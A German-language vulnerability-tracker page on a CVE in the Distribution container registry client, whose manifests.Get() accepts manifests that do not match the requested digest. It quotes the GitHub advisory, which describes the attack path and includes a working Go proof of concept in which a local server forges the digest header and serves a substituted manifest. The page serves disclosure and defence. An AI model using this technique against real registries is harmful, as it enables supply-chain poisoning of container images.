CVE-2026-85747

mediumPriorität · verfolgen · 0EPSS 0.002 · 12. PerzentilFRUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.22% (12th) EPSS
CVSS 6.8 · medium
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
2 sources
osv · certfr

EPSS · bewertet 2026-10-27

Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.2, registry/client.(*manifests).Get() reads a manifest returned for a digest-pinned request and passes it to distribution.UnmarshalManifest without hashing the body against the requested digest, allowing a malicious or intercepted registry response to substitute attacker-chosen manifest content even when Docker-Content-Digest claims the requested value. The bundled pull-through proxy in registry/proxy/proxymanifeststore.go can cache and re-serve the substituted manifest. This issue is fixed in version 3.1.2.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

6.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.16.8mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 2.2 · Auswirkung 4
v3.16.8mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:Nsecondary · OSV
v3.16.2mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (3)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-685w-q87j-wqw3Distribution: Client `manifests.Get()` does not verify returned content against requested digest2026-10-15ghsa · osvUS

    ### Summary `registry/client.(*manifests).Get(ctx, dgst, …)` fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (`registry/proxy/proxymanifeststore.go`) is itself an unguarded consumer and is directly exploitable. ### Details **Root cause:** `registry/client/repository.go:488-505` reads the response body and passes it directly to `distribution.UnmarshalManifest` without ever computing `digest.FromBytes(body)` and comparing against the caller-supplied `dgst`. The `Docker-Content-Digest` response header is parsed (lines 251-292 in `descriptorFromResponse`) only to populate an out-parameter (`ReturnContentDigest`) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes. **Attack path:** An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to `GET /v2/{name}/manifests/{digest}` with: 1. `Docker-Content-Digest: <requested-digest>` (forged header) 2. A body containing a different, attacker-chosen manifest The client calls `distribution.UnmarshalManifest` on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution. **Why it matters:** The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The `registry/proxy/proxymanifeststore.go:42-87` pull-through cache calls `remoteManifests.Get(ctx, dgst)` and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers. Relevant code path (`repository.go`, simplified): ```go // line ~496 func (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) { ... resp, err := ms.client.Get(u) ... body, err := ioutil.ReadAll(resp.Body) // no size limit, no digest check ... m, _, err := distribution.UnmarshalManifest(ct, body) // returns attacker bytes return m, err } ``` ### PoC **go.mod:** ``` module poc go 1.24.10 require ( github.com/distribution/reference v0.6.0 github.com/docker/distribution v2.8.3+incompatible github.com/opencontainers/go-digest v1.0.0 ) require ( github.com/beorn7/perks v1.0.1 // indirect github.com/docker/go-metrics v0.0.1 // indirect github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect github.com/golang/protobuf v1.3.2 // indirect github.com/gorilla/mux v1.8.1 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/opencontainers/image-spec v1.1.1 // indirect github.com/prometheus/client_golang v1.1.0 // indirect github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect github.com/prometheus/common v0.6.0 // indirect github.com/prometheus/procfs v0.0.3 // indirect github.com/sirupsen/logrus v1.9.4 // indirect golang.org/x/sys v0.13.0 // indirect ) ``` **main.go:** ```go // PoC: registry/client manifests.Get() does not verify the requested digest // against the returned body. A malicious registry (or MITM) can serve // arbitrary content for a digest-pinned manifest reference and the client // will accept it. package main import ( "context" "fmt" "net/http" "net/http/httptest" "github.com/distribution/reference" "github.com/docker/distribution/manifest/schema2" "github.com/docker/distribution/registry/client" "github.com/opencontainers/go-digest" ) // A real, "trusted" manifest the user pinned by digest. var trustedManifest = []byte(`{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, "layers": [] }`) // A different, attacker-controlled manifest the malicious server returns instead. var evilManifest = []byte(`{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"}, "layers": [] }`) func main() { pinnedDigest := digest.FromBytes(trustedManifest) evilDigest := digest.FromBytes(evilManifest) fmt.Println("client requests manifest pinned at:", pinnedDigest) fmt.Println("server will instead return content :", evilDigest) srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Lie: claim the digest matches what was asked, but serve evil bytes. w.Header().Set("Content-Type", schema2.MediaTypeManifest) w.Header().Set("Docker-Content-Digest", pinnedDigest.String()) w.WriteHeader(200) w.Write(evilManifest) })) defer srv.Close() name, _ := reference.WithName("library/alpine") repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport) if err != nil { panic(err) } ms, _ := repo.Manifests(context.Background()) // Fetch by *digest* — caller expects content-addressed integrity. m, err := ms.Get(context.Background(), pinnedDigest) if err != nil { fmt.Println("Get error:", err) return } _, payload, _ := m.Payload() got := digest.FromBytes(payload) if got != pinnedDigest { fmt.Println() fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest") fmt.Println(" requested:", pinnedDigest) fmt.Println(" received :", got) } else { fmt.Println("OK: digest verified") } } ``` **Output (v2.8.3+incompatible):** ``` client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e >>> BYPASS: client accepted manifest that does NOT match requested digest requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e ``` ### Impact Any application that calls `registry/client.(*manifests).Get()` with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled `registry/proxy`), and any CI/CD tooling that pins images by digest for reproducibility or security. An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients. Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.

  • BIT-distribution-2026-85747Distribution: Client `manifests.Get()` does not verify returned content against requested digest2026-10-20vendor · osvUS

    Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.2, registry/client.(*manifests).Get() reads a manifest returned for a digest-pinned request and passes it to distribution.UnmarshalManifest without hashing the body against the requested digest, allowing a malicious or intercepted registry response to substitute attacker-chosen manifest content even when Docker-Content-Digest claims the requested value. The bundled pull-through proxy in registry/proxy/proxymanifeststore.go can cache and re-serve the substituted manifest. This issue is fixed in version 3.1.2.

  • CERTFR-2026-AVI-1385Multiples vulnérabilités dans les produits VMwareFrançais2026-10-26vendor · certfrFR
06

auch bekannt als (2)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-10-13geändert 2026-10-18
08

Referenzen (3) nvd

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan